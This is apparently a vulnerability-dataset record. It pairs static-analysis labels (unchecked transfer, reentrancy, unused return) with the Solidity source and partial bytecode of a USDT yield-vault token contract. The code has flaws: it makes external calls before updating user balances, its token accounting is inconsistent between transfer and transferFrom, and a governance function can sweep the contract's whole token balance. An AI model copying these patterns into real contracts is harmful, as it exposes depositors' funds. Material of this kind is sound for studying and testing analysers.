{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,189 |
0xe31dcb9d53ed49310727f5ad30cd474841f12da2
|
pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IVault {
function token() external view returns (address);
function deposit(uint) external;
function withdraw(uint) external;
function balanceOf(address) external view returns (uint);
}
contract YSVault is ERC20, ERC20Detailed, Ownable {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
string private constant NAME = "yfSCAN Tether USD";
string private constant SYMBOL = "ysUSDT";
uint8 private constant DECIMALS = 6;
address private constant ADDRESS_TOKEN = 0xdAC17F958D2ee523a2206206994597C13D831ec7; // USDT
address private constant ADDRESS_VAULT = 0x2f08119C6f07c006695E079AAFc638b8789FAf18; // yearn USDT vault
IERC20 public token;
IVault public vault;
mapping(address => uint256) public balancesToken;
mapping(address => uint256) public balancesVault;
address public governance;
address public pool;
bool public lockedDeposit = true;
modifier onlyGovernance() {
require(msg.sender == governance, "!governance");
_;
}
constructor () public
ERC20Detailed(NAME, SYMBOL, DECIMALS) {
token = IERC20(ADDRESS_TOKEN);
vault = IVault(ADDRESS_VAULT);
governance = msg.sender;
}
function balanceToken() public view returns (uint) {
return token.balanceOf(address(this));
}
function balanceVault() public view returns (uint) {
return vault.balanceOf(address(this));
}
function depositAll() external {
deposit(token.balanceOf(msg.sender));
}
function deposit(uint _amount) public {
require(lockedDeposit == false, 'Deposits are locked');
uint256 _totalVaultBalanceBefore = vault.balanceOf(address(this));
token.safeTransferFrom(msg.sender, address(this), _amount);
token.safeApprove(address(vault), _amount);
vault.deposit(_amount);
uint256 _totalVaultBalanceAfter = vault.balanceOf(address(this));
uint256 _amountInVaultShares = _totalVaultBalanceAfter.sub(_totalVaultBalanceBefore);
balancesToken[msg.sender] = balancesToken[msg.sender].add(_amount);
balancesVault[msg.sender] = balancesVault[msg.sender].add(_amountInVaultShares);
_mint(msg.sender, _amountInVaultShares);
}
function withdrawAll() external {
withdraw(balanceOf(msg.sender));
}
function withdraw(uint _shares) public {
_burn(msg.sender, _shares);
uint256 _totalTokenBalanceBefore = token.balanceOf(address(this));
vault.withdraw(_shares);
uint256 _totalTokenBalanceAfter = token.balanceOf(address(this));
uint256 _tokensTransfered = _totalTokenBalanceAfter.sub(_totalTokenBalanceBefore);
uint256 _tokensToUser = _shares.mul(balancesToken[msg.sender]).div(balancesVault[msg.sender]);
if(_tokensToUser > _tokensTransfered) {
_tokensToUser = _tokensTransfered;
}
if(_tokensToUser > balancesToken[msg.sender]) {
_tokensToUser = balancesToken[msg.sender];
}
balancesToken[msg.sender] = balancesToken[msg.sender].sub(_tokensToUser);
balancesVault[msg.sender] = balancesVault[msg.sender].sub(_shares);
token.safeTransfer(msg.sender, _tokensToUser);
}
function transfer(address _recipient, uint256 _amount) public returns (bool) {
address _sender = _msgSender();
_transfer(_msgSender(), _recipient, _amount);
if(msg.sender != pool) {
uint256 _amountInToken = _amount.mul(balancesToken[_sender]).div(balancesVault[_sender]);
balancesVault[_sender] = balancesVault[_sender].sub(_amount, "Vault: transfer amount exceeds balance");
balancesVault[_recipient] = balancesVault[_recipient].add(_amount);
balancesToken[_sender] = balancesToken[_sender].sub(_amountInToken, "Vault: transfer amount exceeds balance");
balancesToken[_recipient] = balancesToken[_recipient].add(_amountInToken);
}
return true;
}
function setPool(address _pool) public onlyGovernance {
pool = _pool;
}
function setGovernance(address _governance) public onlyGovernance {
governance = _governance;
}
function withdrawProfits() public onlyGovernance {
token.safeTransfer(governance, balanceToken());
}
function withdrawTokenProfits(address _token) public onlyGovernance {
require(_token != address(token), 'You can only withdraw reward token.');
IERC20 _rewardToken = IERC20(_token);
_rewardToken.safeTransfer(governance, _rewardToken.balanceOf(address(this)));
}
function lockDeposits() public onlyGovernance {
require(lockedDeposit == false, 'Deposits are already locked');
lockedDeposit = true;
}
function unlockDeposits() public onlyGovernance {
require(lockedDeposit == true, 'Deposits are already unlocked');
lockedDeposit = false;
}
function depositIsLocked() public view returns (bool) {
return lockedDeposit;
}
}
|
0x608060405234801561001057600080fd5b50600436106102115760003560e01c8063853828b611610125578063b6b55f25116100ad578063de5f62681161007c578063de5f62681461097e578063f2fde38b14610988578063fbfa77cf146109cc578063fc0c546a14610a16578063fc99603814610a6057610211565b8063b6b55f25146108ac578063babe0061146108da578063d088a231146108fc578063dd62ed3e1461090657610211565b80639998e038116100f45780639998e0381461075c578063a30955af1461077e578063a457c2d71461079c578063a9059cbb14610802578063ab033ea91461086857610211565b8063853828b6146106635780638da5cb5b1461066d5780638f32d59b146106b757806395d89b41146106d957610211565b8063313ce567116101a85780635aa6e675116101775780635aa6e6751461055557806370a082311461059f578063715018a6146105f75780637cbc0ba7146106015780637d6babb41461065957610211565b8063313ce5671461047d57806339509351146104a157806339913e09146105075780634437152a1461051157610211565b806318160ddd116101e457806318160ddd1461036757806323b872dd1461038557806323b8f6291461040b5780632e1a7d4d1461044f57610211565b806306fdde0314610216578063095ea7b3146102995780630d1e027d146102ff57806316f0115b1461031d575b600080fd5b61021e610ab8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561025e578082015181840152602081019050610243565b50505050905090810190601f16801561028b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102e5600480360360408110156102af57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b5a565b604051808215151515815260200191505060405180910390f35b610307610b78565b6040518082815260200191505060405180910390f35b610325610c59565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61036f610c7f565b6040518082815260200191505060405180910390f35b6103f16004803603606081101561039b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c89565b604051808215151515815260200191505060405180910390f35b61044d6004803603602081101561042157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d62565b005b61047b6004803603602081101561046557600080fd5b8101908080359060200190929190505050610fd9565b005b6104856114fe565b604051808260ff1660ff16815260200191505060405180910390f35b6104ed600480360360408110156104b757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611515565b604051808215151515815260200191505060405180910390f35b61050f6115c8565b005b6105536004803603602081101561052757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611703565b005b61055d61180a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105e1600480360360208110156105b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611830565b6040518082815260200191505060405180910390f35b6105ff611878565b005b6106436004803603602081101561061757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119b3565b6040518082815260200191505060405180910390f35b6106616119cb565b005b61066b611b34565b005b610675611b47565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106bf611b71565b604051808215151515815260200191505060405180910390f35b6106e1611bd0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610721578082015181840152602081019050610706565b50505050905090810190601f16801561074e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610764611c72565b604051808215151515815260200191505060405180910390f35b610786611c85565b6040518082815260200191505060405180910390f35b6107e8600480360360408110156107b257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611d66565b604051808215151515815260200191505060405180910390f35b61084e6004803603604081101561081857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611e33565b604051808215151515815260200191505060405180910390f35b6108aa6004803603602081101561087e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121e3565b005b6108d8600480360360208110156108c257600080fd5b81019080803590602001909291905050506122ea565b005b6108e26127cb565b604051808215151515815260200191505060405180910390f35b6109046127e2565b005b6109686004803603604081101561091c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061294b565b6040518082815260200191505060405180910390f35b6109866129d2565b005b6109ca6004803603602081101561099e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612ab6565b005b6109d4612b3c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610a1e612b62565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610aa260048036036020811015610a7657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612b88565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b505780601f10610b2557610100808354040283529160200191610b50565b820191906000526020600020905b815481529060010190602001808311610b3357829003601f168201915b5050505050905090565b6000610b6e610b67612ba0565b8484612ba8565b6001905092915050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610c1957600080fd5b505afa158015610c2d573d6000803e3d6000fd5b505050506040513d6020811015610c4357600080fd5b8101908080519060200190929190505050905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600254905090565b6000610c96848484612d9f565b610d5784610ca2612ba0565b610d5285604051806060016040528060288152602001613fa960289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610d08612ba0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130559092919063ffffffff16565b612ba8565b600190509392505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e25576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610ecc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613f3f6023913960400191505060405180910390fd5b6000819050610fd5600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610f7457600080fd5b505afa158015610f88573d6000803e3d6000fd5b505050506040513d6020811015610f9e57600080fd5b81019080805190602001909291905050508373ffffffffffffffffffffffffffffffffffffffff166131159092919063ffffffff16565b5050565b610fe333826131e6565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561108457600080fd5b505afa158015611098573d6000803e3d6000fd5b505050506040513d60208110156110ae57600080fd5b81019080805190602001909291905050509050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d836040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561113657600080fd5b505af115801561114a573d6000803e3d6000fd5b505050506000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156111ef57600080fd5b505afa158015611203573d6000803e3d6000fd5b505050506040513d602081101561121957600080fd5b810190808051906020019092919050505090506000611241838361339e90919063ffffffff16565b905060006112e8600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112da600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054886133e890919063ffffffff16565b61346e90919063ffffffff16565b9050818111156112f6578190505b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111561138057600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b6113d281600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461339e90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061146785600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461339e90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114f73382600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166131159092919063ffffffff16565b5050505050565b6000600560009054906101000a900460ff16905090565b60006115be611522612ba0565b846115b98560016000611533612ba0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134b890919063ffffffff16565b612ba8565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461168b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b611701600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166116b9611c85565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166131159092919063ffffffff16565b565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117c6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611880611b71565b6118f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60096020528060005260406000206000915090505481565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a8e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b60011515600b60149054906101000a900460ff16151514611b17576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4465706f736974732061726520616c726561647920756e6c6f636b656400000081525060200191505060405180910390fd5b6000600b60146101000a81548160ff021916908315150217905550565b611b45611b4033611830565b610fd9565b565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611bb4612ba0565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611c685780601f10611c3d57610100808354040283529160200191611c68565b820191906000526020600020905b815481529060010190602001808311611c4b57829003601f168201915b5050505050905090565b600b60149054906101000a900460ff1681565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611d2657600080fd5b505afa158015611d3a573d6000803e3d6000fd5b505050506040513d6020811015611d5057600080fd5b8101908080519060200190929190505050905090565b6000611e29611d73612ba0565b84611e248560405180606001604052806025815260200161409b6025913960016000611d9d612ba0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130559092919063ffffffff16565b612ba8565b6001905092915050565b600080611e3e612ba0565b9050611e52611e4b612ba0565b8585612d9f565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146121d8576000611f4c600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f3e600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054876133e890919063ffffffff16565b61346e90919063ffffffff16565b9050611fba84604051806060016040528060268152602001613e8c60269139600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130559092919063ffffffff16565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061204f84600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134b890919063ffffffff16565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120fe81604051806060016040528060268152602001613e8c60269139600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130559092919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061219381600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134b890919063ffffffff16565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b600191505092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146122a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60001515600b60149054906101000a900460ff16151514612373576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f4465706f7369747320617265206c6f636b65640000000000000000000000000081525060200191505060405180910390fd5b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561241457600080fd5b505afa158015612428573d6000803e3d6000fd5b505050506040513d602081101561243e57600080fd5b810190808051906020019092919050505090506124a0333084600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16613540909392919063ffffffff16565b61250f600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166136469092919063ffffffff16565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b6b55f25836040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561258457600080fd5b505af1158015612598573d6000803e3d6000fd5b505050506000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561263d57600080fd5b505afa158015612651573d6000803e3d6000fd5b505050506040513d602081101561266757600080fd5b81019080805190602001909291905050509050600061268f838361339e90919063ffffffff16565b90506126e384600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134b890919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061277881600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134b890919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127c53382613866565b50505050565b6000600b60149054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146128a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b60001515600b60149054906101000a900460ff1615151461292e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4465706f736974732061726520616c72656164792